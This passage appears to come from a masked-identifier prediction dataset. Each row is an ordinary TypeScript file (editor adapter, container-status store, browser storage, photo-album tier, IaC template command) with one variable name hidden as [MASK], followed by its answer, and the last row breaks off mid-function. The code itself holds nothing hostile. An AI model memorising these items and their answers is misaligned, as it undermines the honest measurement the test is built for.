  SuccessfulCheckResult,
} from './adapter-interface';

type TextMapping = TextDomMapping;

// TODO: if you want to extend this adapter with asynchronous methods,
//  then you will have to implement AsyncAdapterInterface at the same time
// If you make changes here make sure to see AsyncContentEditableAdapter,
// there are some similar methods with asynchronous calls

export abstract class AbstractRichtextEditorAdapter implements AdapterInterface {
  config: AdapterConf;
  currentContentChecking?: string;
  lastContentChecked?: string;

  protected constructor(conf: AdapterConf) {
    this.config = conf;
  }

  abstract getEditorDocument(): Document;

  abstract getContent(opts: ExtractContentForCheckOpts): string;

  protected getEditorElement(): HTMLElement {
    return this.getEditorDocument().querySelector('body')!;
  }

  // eslint-disable-next-line @typescript-eslint/no-unused-vars
  registerCheckCall(_checkInfo: Check) {}

  // eslint-disable-next-line @typescript-eslint/no-unused-vars
  registerCheckResult(_checkResult: SuccessfulCheckResult): void {
    this.lastContentChecked = this.currentContentChecking;
  }

  extractContentForCheck(opts: ExtractContentForCheckOpts): ContentExtractionResult | Promise<ContentExtractionResult> {
    const html = this.getContent(opts);
    this.currentContentChecking = html;
    return { content: html, selection: opts.checkSelection ? this.getSelection() : undefined };
  }

  protected getSelection(): DocumentSelection {
    return { ranges: [] };
  }

  protected scrollIntoView(sel: Selection): void | Promise<void> {
    const range = sel.getRangeAt(0);
    const tmp = range.cloneRange();
    tmp.collapse(true);

    const text = document.createElement('span');
    tmp.insertNode(text);
    sel.removeAllRanges();
    sel.addRange(range);
    text.focus();
    this.scrollElementIntoView(text);
    removeNode(text);

    removeEmptyTextNodesIfNeeded(tmp);
  }

  scrollToCurrentSelection() {
    const selection1 = this.getEditorDocument().getSelection();

    if (selection1) {
      try {
        this.scrollIntoView(selection1);
      } catch (error) {
        console.log('Scrolling Error: ', error);
      }
    }
  }

  protected scrollElementIntoView(el: HTMLElement) {
    scrollIntoView(el, this.config.scrollOffsetY);
  }

  selectRanges(checkId: string, matches: Match[]): void {
    assertElementIsDisplayed(this.getEditorElement());
    this.selectMatches(checkId, matches);
    if (this.isQuillEditor() || this.isCkEditor5()) {
      // Simple workaround for quill/CKEditor5 editor, as 'scrollIntoView' is messing up the selection range there.
      const selection = this.getEditorDocument().getSelection();
      if (selection && selection.anchorNode && selection.anchorNode.parentElement) {
        scrollIntoViewCenteredWithFallback(selection.anchorNode.parentElement);
      }
    } else {
      this.scrollToCurrentSelection();
    }
  }

  protected isCkEditor5(): boolean {
    return this.getEditorElement().classList.contains('ck-editor__editable');
  }

  protected isQuillEditor(): boolean {
    const editorElementIsQuill = this.getEditorElement().classList.contains('ql-editor');
    const editorElementContainsQuill = !!this.getEditorElement().querySelector('.ql-editor');
    return editorElementIsQuill || editorElementContainsQuill;
  }

  protected selectMatches<T extends Match>(_checkId: string, matches: T[]): [AlignedMatch<T>[], TextMapping] {
    const textMapping: TextMapping = this.getTextDomMapping();
    const alignedMatches: AlignedMatch<T>[] = lookupMatches(this.lastContentChecked!, textMapping.text, matches);

    if (alignedMatches.length === 0) {
      throw new Error('Selected flagged content is modified.');
    }

    this.selectAlignedMatches(alignedMatches, textMapping);
    return [alignedMatches, textMapping];
  }

  protected selectAlignedMatches(matches: AlignedMatch<Match>[], textMapping: TextMapping) {
    const newBegin = matches[0].range[0];
    const matchLength = getCompleteFlagLength(matches);
    this.selectText(newBegin, matchLength, textMapping);
  }

  protected selectText(begin: number, length: number, textMapping: TextMapping) {
    if (!textMapping.text) {
      return;
    }

    const selection = this.getEditorDocument().getSelection();

    if (!selection) {
      console.warn('AbstractRichtextEditorAdapter.selectText: Missing selection');
      return;
    }

    selection.removeAllRanges();
    selection.addRange(this.createRange(begin, length, textMapping));
  }

  protected createRange(begin: number, length: number, textMapping: TextMapping) {
    const doc = this.getEditorDocument();
    const range = doc.createRange();
    const beginDomPosition = textMapping.domPositions[begin];
    const  [MASK]  = getEndDomPos(begin + length, textMapping.domPositions);

    // TODO: Handle overflowing offsets more clever and safer
    if (beginDomPosition.offset <= beginDomPosition.node.textContent!.length) {
      range.setStart(beginDomPosition.node, beginDomPosition.offset);
    } else {
      console.warn(
        `Offset of range begin (${beginDomPosition.offset}) > node text length (${
          beginDomPosition.node.textContent!.length
        })`,
      );
    }

    if ( [MASK] .offset <=  [MASK] .node.textContent!.length) {
      range.setEnd( [MASK] .node,  [MASK] .offset);
    } else {
      console.warn(
        `Offset of range end (${ [MASK] .offset}) > node text length (${
           [MASK] .node.textContent!.length
        })`,
      );
    }

    return range;
  }

  protected replaceAlignedMatches(matches: AlignedMatch<MatchWithReplacement>[]) {
    const doc = this.getEditorDocument();
    const reversedMatches = structuredClone(matches).reverse();
    for (const match of reversedMatches) {
      const textDomMapping = this.getTextDomMapping();
      const rangeLength = match.range[1] - match.range[0];
      if (rangeLength > 1) {
        const tail = this.createRange(match.range[0] + 1, rangeLength - 1, textDomMapping);
        const head = this.createRange(match.range[0], 1, textDomMapping);
        const completeRange = this.createRange(match.range[0], rangeLength, textDomMapping);

        simulateInputEvent({
          startNode: completeRange.startContainer,
          endNode: completeRange.endContainer,
          eventType: 'beforeinput',
          replacement: match.originalMatch.replacement,
          startOffset: completeRange.startOffset,
          endOffset: completeRange.endOffset,
          disableSimulation: this.config.disableInputEventSimulation,
        });

        tail.deleteContents();
        head.deleteContents();
        if (match.originalMatch.replacement.length !== 0) {
          head.insertNode(doc.createTextNode(match.originalMatch.replacement));
        }

        simulateInputEvent({
          startNode: completeRange.startContainer,
          endNode: completeRange.endContainer,
          eventType: 'input',
          replacement: match.originalMatch.replacement,
          startOffset: completeRange.startOffset,
          endOffset: completeRange.endOffset,
          disableSimulation: this.config.disableInputEventSimulation,
        });

        removeEmptyTextNodesIfNeeded(tail);
        if (tail.startContainer !== head.startContainer || tail.endContainer !== head.endContainer) {
          removeEmptyTextNodesIfNeeded(head);
        }
      } else {
        const range = this.createRange(match.range[0], rangeLength, textDomMapping);

        simulateInputEvent({
          startNode: range.startContainer,
          endNode: range.endContainer,
          eventType: 'beforeinput',
          replacement: match.originalMatch.replacement,
          startOffset: range.startOffset,
          endOffset: range.endOffset,
          disableSimulation: this.config.disableInputEventSimulation,
        });

        range.deleteContents();
        if (match.originalMatch.replacement.length !== 0) {
          range.insertNode(doc.createTextNode(match.originalMatch.replacement));
        }

        simulateInputEvent({
          startNode: range.startContainer,
          endNode: range.endContainer,
          eventType: 'input',
          replacement: match.originalMatch.replacement,
          startOffset: range.startOffset,
          endOffset: range.endOffset,
          disableSimulation: this.config.disableInputEventSimulation,
        });

        removeEmptyTextNodesIfNeeded(range);
      }
    }
  }

  replaceRanges(checkId: string, matchesWithReplacement: MatchWithReplacement[]): void {
    assertElementIsDisplayed(this.getEditorElement());
    const [alignedMatches] = this.selectMatches(checkId, matchesWithReplacement);
    const replacement = alignedMatches.map((m) => m.originalMatch.replacement).join('');

    this.replaceAlignedMatches(alignedMatches);

    // Replacement will remove the selection, so we need to restore it again.
    this.selectText(alignedMatches[0].range[0], replacement.length, this.getTextDomMapping());
    this.scrollToCurrentSelection();
  }

  protected getTextDomMapping() {
    return extractTextDomMapping(this.getEditorElement());
  }

  getAutobindWrapperAttributes(): AutobindWrapperAttributes {
    return getAutobindWrapperAttributes(this.getEditorElement());
  }
}

// Workaround for https://bugs.chromium.org/p/chromium/issues/detail?id=811630.
export function removeEmptyTextNodesIfNeeded(range: Range) {
  // This code is just an workaround for a hopefully temporally chrome browser bug.
  // We don't want to risk, that it causes any problems, if not really necessary.
  try {
    if (isChrome()) {
      removeEmptyTextNodes(range);
    }
  } catch (error) {
    console.error('Error in removeEmptyTextNodesIfNeeded:', error);
  }
}

export function removeEmptyTextNodes(range: Range) {
  const nodeIterator = document.createNodeIterator(range.commonAncestorContainer);
  let currentNode: Node | null;
  let afterStartNode = false;

  while ((currentNode = nodeIterator.nextNode())) {
    if (currentNode === range.startContainer) {
      afterStartNode = true;
    }

    if (afterStartNode) {
      removeIfEmptyTextNode(currentNode);
      if (currentNode === range.endContainer) {
        break;
      }
    }
  }
}

function removeIfEmptyTextNode(node: Node) {
  if (node.nodeType === Node.TEXT_NODE && node.textContent === '') {
    removeNode(node);
  }
}
",endDomPosition
483,"import { defineStore, storeToRefs } from 'pinia';
import { api } from 'src/boot/axios';
import { Notify } from 'quasar';
import { Mutex } from 'async-mutex';
import { _ } from 'lodash';
import { parse as ansiParse } from 'ansicolor';
import { generateErrorNotification } from './common';
import { useSettingsStore } from './settings';

/*
 * Format of services store:
 * {
 *   ""services"": {
 *     ""gNodeB"": {
 *       ""log"": {
 *         ""stdout"": [
 *            {""time"": ""2022-12-12T12:12:12.121212Z"", ""log"": ..., ""stream"": ...}}
 *         ],
 *         ""stderr"": [
 *            {""time"": ""2022-12-12T12:12:12.121212Z"", ""log"": ..., ""stream"": ...}}
 *         ]
 *       },
 *       ""status"": { ... }
 *     }
 *   }
 * }
 *
 */

type ServiceOverviewType = {
  host: string;
  container_id: string;
  container_name: string;
  status: any;
};

type ServiceLogSpanType = {
  text: string;
  css: string;
  reset?: boolean;
  color?: {
    name: string;
    bright?: boolean;
    dim?: boolean;
  };
  bgColor: {
    name: string;
    bright?: boolean;
    dim?: boolean;
  };
  bold: boolean;
  italic: boolean;
  underline: boolean;
  inverted: boolean;
}

type ServiceLogEntryType = {
  time: Date;
  log: string;
  spans: ServiceLogSpanType[];
  stream: 'stdout'|'stderr';
}

type ServicesType = {
  [serviceName: string]: {
    log: {
      logLines: ServiceLogEntryType[];
    };
    host: string;
    containerId: string;
    containerName: string;
    status: any;
  }
}

type ServiceLogApiType = {
  log_lines: {
    time: string|Date;
    log: string;
    stream: 'stdout'|'stderr';
  }[]
}

type UpdateServiceNamesAndStatusIntervalInfoType = {
  nextSubscriberId: number,
  subscribers: {
    [subId: number]: {
      intervalPower: number,
      callback: () => null|null,
    }
  },
  intervalId: any,
  currentIntervalPower: number|null
}

export const useServiceStore = defineStore('services', {
  state(){
    const services: ServicesType = {};
    const serviceOrder: string[] = [];
    const _updateMutex = new Mutex();
    const _updateServicesIntervalInfo: UpdateServiceNamesAndStatusIntervalInfoType = {
      nextSubscriberId: 0,
      subscribers: {},
      intervalId: null,
      currentIntervalPower: null
    }

    return {
        services, serviceOrder, _updateMutex, _updateServicesIntervalInfo
    }
  },
  getters: {
    serviceNames: (state) => Object.keys(state.services),
    containerName: (state) => {
      return (id: string) => {
        if(!(id in state.services)) return null;
        return state.services[id].containerName;
      };
    },
    logForService: (state) => {
      return (id: string, stdout: boolean, stderr: boolean) => {
        if(!(id in state.services)) return [];

        // Filter by selected time frame and stdout/stderr
        const filteredLogs = state.services[id].log.logLines.filter((entry) => {
          return ( (stdout && entry.stream === 'stdout') || (stderr && entry.stream === 'stderr') );
        });
        return filteredLogs;
      }
    },
    healthStatus: (state) => {
      return (id: string): 'starting'|'healthy'|'unhealthy'|null => {
        if(!(id in state.services)) return null;
        if(!('State' in state.services[id].status) || !('Health' in state.services[id].status.State) || !('Status' in state.services[id].status.State.Health)) return null;

        return state.services[id].status.State.Health.Status;
      }
    },
    executionStatus: (state) => {
      return (id: string): 'created'|'running'|'restarting'|'removing'|'paused'|'exited'|'exited-successful'|'exited-error'|'dead'|null => {
        if(!(id in state.services)) return null;
        if(!('State' in state.services[id].status) || !('Status' in state.services[id].status.State)) return null;

        if(state.services[id].status.State.Status == 'exited') {
          if(state.exitCode(id) == 0) return 'exited-successful';
          else if(state.exitCode(id) > 0) return 'exited-error';
          else return 'exited';
        }

        return state.services[id].status.State.Status;
      }
    },
    healthExecutionStatus: (state) => {
      return (id: string): 'created'|'running'|'starting'|'healthy'|'unhealthy'|'restarting'|'removing'|'paused'|'exited-successful'|'exited-error'|'dead'|null => {
        if(state.executionStatus(id) == 'running' && state.healthStatus(id)) return state.healthStatus(id);
        return state.executionStatus(id);
      }
    },
    healthStatusForAllServices: (state) => {
      return (): 'healthy'|'unhealthy'|null => {
        let at_least_one_healthy = false;

        for(const serviceId in state.services) {
          if(!state.services.hasOwnProperty(serviceId)) continue;

          const healthStatus = state.healthExecutionStatus(serviceId);
          if(['unhealthy', 'exited-error'].includes(healthStatus)) return 'unhealthy';
          if(['healthy'].includes(healthStatus)) at_least_one_healthy = true;
        }
        if(at_least_one_healthy) return 'healthy';
        return null;
      }
    },
    imageName: (state) => {
      return (id: string): string|null => {
        if(!(id in state.services)) return null;
        if(!('Config' in state.services[id].status) || !('Image' in state.services[id].status.Config)) return null;

        return state.services[id].status.Config.Image;
      }
    },
    labelValue: (state) => {
      return (id: string, label: string): string|null => {
        if(!(id in state.services)) return null;
        if(!('Config' in state.services[id].status) || !('Labels' in state.services[id].status.Config) ||
        !(label in state.services[id].status.Config.Labels)) return null;

        return state.services[id].status.Config.Labels[label];
      }
    },
    createdDate: (state) => {
      return (id: string): Date|null => {
        if(!(id in state.services)) return null;
        if(!('Created' in state.services[id].status)) return null;

        return new Date(state.services[id].status.Created);
      }
    },
    startedDate: (state) => {
      return (id: string): Date|'not started'|null => {
        if(!(id in state.services)) return null;
        if(!('State' in state.services[id].status) || !('StartedAt' in state.services[id].status.State)) return null;

        const startedAt = state.services[id].status.State.StartedAt;
        if(startedAt == '0001-01-01T00:00:00Z') return 'not started';
        else return new Date(startedAt);
      }
    },
    finishedDate: (state) => {
      return (id: string): Date|'not finished'|null => {
        if(!(id in state.services)) return null;
        if(!('State' in state.services[id].status) || !('FinishedAt' in state.services[id].status.State)) return null;

        const finishedAt = state.services[id].status.State.FinishedAt;
        if(finishedAt == '0001-01-01T00:00:00Z') return 'not finished';
        else return new Date(finishedAt);
      }
    },
    exitCode: (state) => {
      return (id: string): number|null => {
        if(!(id in state.services)) return null;
        if(!('State' in state.services[id].status) || !('ExitCode' in state.services[id].status.State)) return null;

        return Number(state.services[id].status.State.ExitCode);
      }
    },
    ipv4Addresses: (state) => {
      return (id: string): {[networkInterface: string]: string}|null => {
        if(!(id in state.services)) return null;
        if(!('NetworkSettings' in state.services[id].status) || !('Networks' in state.services[id].status.NetworkSettings)) return null;

        const networks = state.services[id].status.NetworkSettings.Networks

        const ipAddresses = Object.keys(networks).reduce((acc: {[networkInterface: string]: string}, key) => {
          acc[key] = networks[key].IPAddress;
          return acc;
        }, {});
        return ipAddresses;
      }
    },
    serviceRunningOrStarting: (state) => {
      return (id: string): boolean|null => {
        if(!(id in state.services)) return null;
        return ['running', 'starting', 'restarting'].includes(state.executionStatus(id));
      }
    },
    externalLinksFromLabels: (state) => {
      const containerLinks: { [key: string]: string } = {};

      for (const id in state.services) {
        const executionStatus = state.executionStatus(id);

        if (executionStatus === 'running') {
          const title = state.labelValue(id, 'o5gc.link.title');
          const url = state.labelValue(id, 'o5gc.link.url');

          if (title && url) {
            console.log(window.location)
            containerLinks[title] = url.replace('{{host}}', window.location.hostname);
          }
        }
      }

      return containerLinks
    },
    visibleServiceIds: (state) => {
      const visibleServiceIdsUnsorted = Object.keys(state.services).filter((id) => state.labelValue(id, 'o5gc.webui.hide') === null);
      return state.serviceOrder.filter((serviceId: string) => visibleServiceIdsUnsorted.includes(serviceId));
    },
    visibleServiceDetails: (state) => {
      return state.visibleServiceIds.map((serviceId: string) => state.services[serviceId]);
    },
    visibleServiceIdsSortedByHealthExecutionStatusAndPriorityLabel: (state) => {
      const l = Object.assign([],  state.visibleServiceIds); // clone array
      return l.sort((a: string, b: string) => {
        const statusPriorities: {[healthExecutionStatus: string]: number} = {
          'exited-error': 5,
          'unhealthy': 4,
          'running': 3, 'healthy': 3, 'starting': 3, 'restarting': 3,
          'created': 2, 'paused': 2,
          'exited-successful': 1,
          'removing': 0, 'dead': 0, null: 0
        }

        const statusPrioA: number = statusPriorities[state.healthExecutionStatus(a)];
        const statusPrioB: number = statusPriorities[state.healthExecutionStatus(b)];
        const labelPrioA = state.labelValue(a, 'o5gc.webui.priority') || 0;
        const labelPrioB = state.labelValue(b, 'o5gc.webui.priority') || 0;
        const createdA = state.createdDate(a);
        const createdB = state.createdDate(b);

        // First criterion: execution health status
        if(statusPrioA != statusPrioB)
          return statusPrioB - statusPrioA; // Show the one with the highest prio first

        // Second criterion: priority from label
        if(labelPrioA != labelPrioB) {
          return labelPrioB - labelPrioA; // Show the one with the highest prio first
        }

        // Third criterion: output later created services first
        return createdB - createdA;
      })
    },
    visibleServiceDetailsSortedByHealthExecutionStatusAndPriorityLabel: (state) => {
      return state.visibleServiceIdsSortedByHealthExecutionStatusAndPriorityLabel.map((serviceId: string) => state.services[serviceId])
    },
    runningVisibleServiceNames: (state) => state.visibleServiceIds.filter((serviceId: string) => state.executionStatus(serviceId) === 'running'),
  },
  actions: {
    async loadServiceNamesAndStatus() {
        await this._updateMutex.runExclusive(async () => {
          function syncStatus(status_old: any,  [MASK] : any) {
            for (const key in  [MASK] ) {
              if ( [MASK] .hasOwnProperty(key)) {
                if (!status_old.hasOwnProperty(key)) {
                  status_old[key] =  [MASK] [key];
                } else if (typeof  [MASK] [key] === 'object' && typeof status_old[key] === 'object' &&  [MASK] [key] != null && status_old[key] != null) {
                  syncStatus(status_old[key],  [MASK] [key]);
                } else if (status_old[key] !==  [MASK] [key]) {
                  status_old[key] =  [MASK] [key];
                }
              }
            }

            for (const key in status_old) {
              if (status_old.hasOwnProperty(key) && ! [MASK] .hasOwnProperty(key)) {
                delete status_old[key];
              }
            }
          }

          // Get stack names from API
          const serviceOverview: ServiceOverviewType[] = (await api.get('api/containers')).data.containers;

          // Get lists of service names in order to sync the service names from internal state with updated service names
          const servicesBefore = new Set(Object.keys(this.services));
          const servicesNew = new Set(serviceOverview.map(l => l.container_id));

          // Delete service names that do not exist on server anymore
          for (const s of servicesBefore) {
              if (!servicesNew.has(s)) {
                  delete this.services[s]
              }
          }

          // Add services that are new on server
          for(const s of serviceOverview) {
              if (!servicesBefore.has(s.container_id)) {
                  this.services[s.container_id] = {
                    log: {
                      logLines: []
                    },
                    host: s.host,
                    containerId: s.container_id,
                    containerName: s.container_name,
                    status: s.status
                  }
              }
              // Just update some information if service is already there
              else {
                this.services[s.container_id].host = s.host;
                this.services[s.container_id].containerName = s.container_name;
                syncStatus(this.services[s.container_id].status, s.status);
              }
            }

            this.serviceOrder = serviceOverview.map(l => l.container_id);
        });
    },
    _startUpdateServicesInterval() {
      const intervalPower = Math.min(...Object.values(this._updateServicesIntervalInfo.subscribers).map(sub => sub.intervalPower));

      this._updateServicesIntervalInfo.intervalId = setInterval(async () => {
        await this.loadServiceNamesAndStatus();

        for(const subId in this._updateServicesIntervalInfo.subscribers) {
          const subscriber = this._updateServicesIntervalInfo.subscribers[subId];
          if (subscriber.callback && typeof subscriber.callback === 'function') {
            subscriber.callback();
          }
        }

      }, 1000*Math.pow(2, intervalPower));
      this._updateServicesIntervalInfo.currentIntervalPower = intervalPower;
    },
    addUpdateServicesInterval(callback: () => null|null, intervalPower: number) {

      const subId = this._updateServicesIntervalInfo.nextSubscriberId++;
      this._updateServicesIntervalInfo.subscribers[subId] = {intervalPower, callback};

      if(this._updateServicesIntervalInfo.currentIntervalPower && intervalPower < this._updateServicesIntervalInfo.currentIntervalPower) {
        clearInterval(this._updateServicesIntervalInfo.intervalId);
        this._updateServicesIntervalInfo.intervalId = null;
      }

      if(!this._updateServicesIntervalInfo.intervalId) {
        this._startUpdateServicesInterval();
      }
      return subId;
    },
    removeUpdateServicesInterval(subId: number) {

      const subscriberIntervalPower = this._updateServicesIntervalInfo.subscribers[subId].intervalPower;
      delete this._updateServicesIntervalInfo.subscribers[subId];

      if(subscriberIntervalPower == this._updateServicesIntervalInfo.currentIntervalPower
         && Math.min(...Object.values(this._updateServicesIntervalInfo.subscribers).map(sub => sub.intervalPower)) > subscriberIntervalPower) {
          clearInterval(this._updateServicesIntervalInfo.intervalId);
          this._updateServicesIntervalInfo.intervalId = null;
      }

      if(!this._updateServicesIntervalInfo.intervalId) {
        this._startUpdateServicesInterval();
      }
    },
    async loadServiceLog(id: string) {

      if(!this.ensureServiceIsInStore(id)) return;

      const removeANSIEscapeSequences = (input: string) => {
        /*
         * Remove some relevant terminal escape sequences.
         * See http://rtfm.etla.org/xterm/ctlseq.html
         */
        // Control sequences (except color codes): ESC [ parameter_list character
        const regex_csi = /\x1b\[[?!]?[0-9;]*[a-ln-zA-Z@`]/g;
        // Operating system commands (like terminal title): ESC ] number ; text bell|string_terminator
        const regex_osc = /\x1b\].*?(\x07|\x1b\\)/g;
        return input.replace(regex_csi, '').replace(regex_osc, '');
      };

      await this._updateMutex.runExclusive(async () => {

        const { logLines } = storeToRefs(useSettingsStore());

        const service = this.services[id];

        const timestamps = 'true';
        const tail = `${logLines.value}`;
        const stdout = 'true';
        const stderr = 'true';

        // Get log part
        let logPart: ServiceLogApiType;
        try {
          logPart = (await api.get(`api/container/${service.host}/${service.containerId}/logs`, {
            params: {
              timestamps, tail, stdout, stderr
            }
          })).data;
        } catch (error: any) {
          if(error.response) {
            generateErrorNotification(`HTTP Error ${error.response.status} on trying to fetch service log for service ${service.containerName} from server.`);
          } else {
            generateErrorNotification(`Unknown error on trying to fetch service log for service ${service.containerName} from server.`);
          }
          return;
        }

        const convertedLogPart: ServiceLogEntryType[] = logPart.log_lines.map((entry) => {
          return {
            ...entry,
            log: removeANSIEscapeSequences(entry.log),
            spans: [],
            time: new Date(entry.time)
          }
        });

        let previousSpan: ServiceLogSpanType | undefined = undefined
        for(const logLine of convertedLogPart) {
          const spans = ansiParse(logLine.log, previousSpan);
          logLine.spans = spans.spans;
          previousSpan = logLine.spans[logLine.spans.length - 1];
        }

        this.services[id].log.logLines = convertedLogPart;

      });
    },
    async ensureServiceIsInStore(serviceId: string) {
      if(serviceId in this.services) return true;

      await this.loadServiceNamesAndStatus();
      if(serviceId in this.services) return true;

      Notify.create({
        message: 'Tried to get service information for service ' + serviceId + ' which does not exist.',
        color: 'negative',
        icon: 'announcement'
      })

      return false;
    }
  }
});
",status_new
484,"// browser-storage.ts

// Define the type for localSettings
interface LocalSettings {
	isSidebarPinned: boolean;
	lastAccountId?: string;
}

// Map keys to their corresponding types
interface StorageSchema {
	localSettings: LocalSettings;
}

// Type alias for the keys of the storage schema
type StorageKey = keyof StorageSchema;

const DEFAULT_VALUES: Record<StorageKey, StorageSchema[StorageKey]> = {
	localSettings: {
		isSidebarPinned: false
	}
};

// Create a class to handle storage operations
export class BrowserStorage {
	private storage: Storage;

	constructor(storage: Storage) {
		this.storage = storage;
	}

	// Set an item in storage with type safety
	setItem<K extends StorageKey>(key: K, value: StorageSchema[K]): void {
		const serializedValue = JSON.stringify(value);
		this.storage.setItem(key, serializedValue);
	}

	// Get an item from storage with type safety
	getItem<K extends StorageKey>(key: K): StorageSchema[K] | null {
		const serializedValue = this.storage.getItem(key);
		if (serializedValue === null) {
			return null;
		}
		try {
			return JSON.parse(serializedValue) as StorageSchema[K];
		} catch (error) {
			console.error(`Error parsing storage key ""${key}"":`, error);
			return null;
		}
	}

	// Merges the current item with the new item
	patchItem<K extends StorageKey>(key: K, value: Partial<StorageSchema[K]>): void {
		const  [MASK]  = this.getItem(key) || DEFAULT_VALUES[key];
		const mergedValue = {
			... [MASK] ,
			...value
		};
		this.setItem(key, mergedValue);
	}

	// Remove an item from storage
	removeItem<K extends StorageKey>(key: K): void {
		this.storage.removeItem(key);
	}

	// Clear all items from storage
	clear(): void {
		this.storage.clear();
	}

	static from(storage: Storage) {
		return new BrowserStorage(storage);
	}
}
",currentValue
485,"import { Protocol, AnsonBody, PageInf, AnsonResp, AnsonMsg, Semantier, NV, relStree,
	SessionClient, AnTreeNode, StreeTier, Tierec, OnLoadOk} from '@anclient/semantier';
import { Comprops, CrudComp, PhotoCollect, GalleryView, PhotoProps, PhotoRec, AlbumReq, AlbumPage, AlbumResp
} from '@anclient/anreact';

const debug = true;

export const Share = {
	pub : 'pub',
	priv: 'priv',
}

export class AlbumEditier extends StreeTier {
	comp: CrudComp<Comprops>;
	port: string = ""album"";

	page: PageInf;
	collects?: PhotoCollect[];

	_fields = [{field: 'shareFlag', label: 'Public'}];

	/**
	 * @param props
	 */
	constructor(props: {uri: string, client: SessionClient, album?: string, comp: CrudComp<Comprops>}) {
		super(props);
		console.log(this.uri);
		this.comp = props.comp;
		this.client = props.client;

		this.page = new PageInf();
	}

	root() {
		return undefined;
	}

	/**
	 * Get photo for my album. 
	 * File system uri is not replaced with file. The img tag should use delay attributes and load file according to uri.
	 * The file uri is an identifier of files managed by jserv, not same as function uri for Anclient component.
	 * 
	 * @override(Semantier)
	 */
    loadCollects(pageInf: PageInf, onLoad: ((collects?: PhotoCollect[]) => void)) : void {
		if (!this.client) {
			console.error(""Anclient is not ready yet."");
			return;
		}

		let that = this;

		let sk = Protocol.sk.collectree;
		let {client, uri, port} = this;

		AlbumEditier.stree(
			{uri, port, sk, pageInf},
			client,
			(rep) => {
				that.collects = (rep.Body(0) as (AlbumResp)).forest as PhotoCollect[]; 
				onLoad(that.collects);
			}, this.errCtx);
	}

	toGalleryImgs( [MASK] : number) {
		let that = this;
		let imgs = [] as PhotoProps<PhotoRec>[];
		if (this.collects) {
			let album = this.collects[ [MASK] ];
			album.photos.forEach( (p, x) => {
				console.log(p);
				if (!p.recId) return;

				let src = that.imgSrc(p.docId || 'missing');
				let srcSet = [src] as any;

				let css = JSON.parse(p.css as string);
				let size = css?.size;
				let width = size && size.length > 2 ? size[2] : 4;
				let height = size && size.length > 3 ? size[3] : 3;

				let alt = `${p.title? ' # ' + p.title : p.sharedate || ''} by ${p.shareby || 'Anonym'}`;

				imgs.push( {
					type: PhotoRec.__type__,
					src, srcSet, width, height,
					shareLable: p.shareLable,
					alt, title: alt, key: x.toString() } );
			} );
		}
		return imgs;
	}

	/**
	 * Compose src of img tag, with AlbumReq request as anson64 parameter.
	 * 
	 * @param recId potho id
	 * @returns 
	 */
	imgSrc(recId: string) : string {
		return GalleryView.imgSrcReq(recId, { uri: this.uri, port: this.port, client: this.client});
	}

	loadSharePolicy(pageInf: PageInf, onLoad: ((collects?: PhotoCollect[]) => void)) : void {
		if (!this.client) {
			console.error(""Anclient is not ready yet."");
			return;
		}

		let that = this;
		let sk = Protocol.sk.stree_sharings;
		let {uri, port} = this;

		this.stree( {
			uri, port, sk, pageInf,
			onOk: (rep) => {
					that.forest = (rep.Body(0) as (AlbumResp)).forest as AnTreeNode[];
					onLoad(that.collects);
				}
			}, this.errCtx);
	}

	/**
	 * TRecordForm use this method to load record.
	 * 
	 * @param _conds 
	 * @param onLoad 
	 */
	record(conds: PageInf, onLoad: OnLoadOk<Tierec>) : void {
		if (!this.client) return;

		let client = this.client;
		let that = this;

		let page = new AlbumPage({pid: this.pkval.v as string});

		let reqbd = new AlbumReq({page})
					.A(this.pkval.pk === 'folder' ? AlbumReq.A.folder : AlbumReq.A.rec);

		let req = client.userReq(this.uri, this.port, reqbd);
		client.commit(req,
			(resp: AnsonMsg<AnsonResp>) => {
				let {photo} = (resp.Body() as AlbumResp);
				let {cols} = AnsonResp.rs2arr((resp.Body() as AnsonResp).Rs());
				that.rec = photo;
				onLoad(cols, [photo || {}]);
			},
			this.errCtx);
    }

	saveFolderPolicy(opts: {clearelation: boolean, subfolder: string},
					 onSaved: (resp: AnsonMsg<AnsonResp>) => void) {
		if (!this.client) {
			console.error(""Sholdn't reach here: saving without logged in?"");
			return;
		}

		if (!this.pkval.pk) {
			console.error(""Sholdn't reach here: saving without folder Id?"");
			return;
		}

		let {clearelation, subfolder} = opts;
		let client = this.client;
		let reqbd = new AlbumReq({})
					.clearelations(clearelation)
					.shareTree(this.collectRels(), subfolder)
					.A(AlbumReq.A.updateFolderel);

		let req = client.userReq(this.uri, this.port, reqbd);
		client.commit(req, onSaved, this.errCtx);
	}

	collectRels() {
		let columnMap: {[k: string]: any} = {};
		let rel = this.relMeta[""h_photo_org""].stree as relStree;
		let forest: AnTreeNode[] = this.rels[""h_photo_org""];

		columnMap[rel.col] = rel.colProp || rel.col;           // columnMap[rel.col] = 'nodeId';
		columnMap[this.pkval.pk as string] = this.rec?.folder; // this.pkval.v; // pid the col name, 2003-12 the folder value

		let rows = [] as  Array<NV[]>;
		Semantier.collectTree(forest, rows, columnMap, ""checked"");
		return rows;
	}
};

class Profiles extends AnsonBody {
	home: string;
	maxUsers: number;
	servtype: number;

	constructor (obj: { servtype: number; maxUsers: number; home: string }) {
		super( { type: 'io.oz.album.tier.Profiles' } );
		this.home = obj.home;
		this.maxUsers = obj.maxUsers;
		this.servtype = obj.servtype;
	}
}
Protocol.registerBody('io.oz.album.tier.Profiles', (jsonBd) => { return new Profiles(jsonBd); });
",idx
486,"import { TemplateFormat } from '../types';
import yaml from 'yaml';
import { generateStackTemplate } from '../stack/deploy';
import { getIacLocation, logger, setContext } from '../common';
import { parseYaml } from '../parser';

export const template = (
  stackName: string,
  options: { format: TemplateFormat; location: string; stage: string | undefined },
) => {
  const  [MASK]  = parseYaml(getIacLocation(options.location));

  setContext({ ...options, stackName, provider:  [MASK] .provider.name });

  const { template } = generateStackTemplate(stackName,  [MASK] );
  if (typeof template === 'string') {
    logger.info(`\n${template}`);
  } else {
    const output =
      options.format === TemplateFormat.JSON
        ? JSON.stringify(template, null, 2)
        : yaml.stringify(template);
    logger.info(`\n${output}`);
  }
};
",iac
487,"import { useDispatch, useSelector } from 'react-redux';
import type { RootState, AppDispatch } from './store';
import { useState, useEffect, Dispatch, SetStateAction } from 'react';

// Use throughout your app instead of plain `useDispatch` and `useSelector`
export const useAppDispatch = useDispatch.withTypes<AppDispatch>();
export const useAppSelector = useSelector.withTypes<RootState>();

type Theme = 'light' | 'dark';
type UseDarkSideReturn = [Theme, Dispatch<SetStateAction<Theme>>];


export const useDarkSide = (): UseDarkSideReturn => {
  const [theme, setTheme] = useState<Theme>((localStorage.theme as Theme) || 'light');
  const colorTheme: Theme = theme === 'dark' ? 'light' : 'dark';
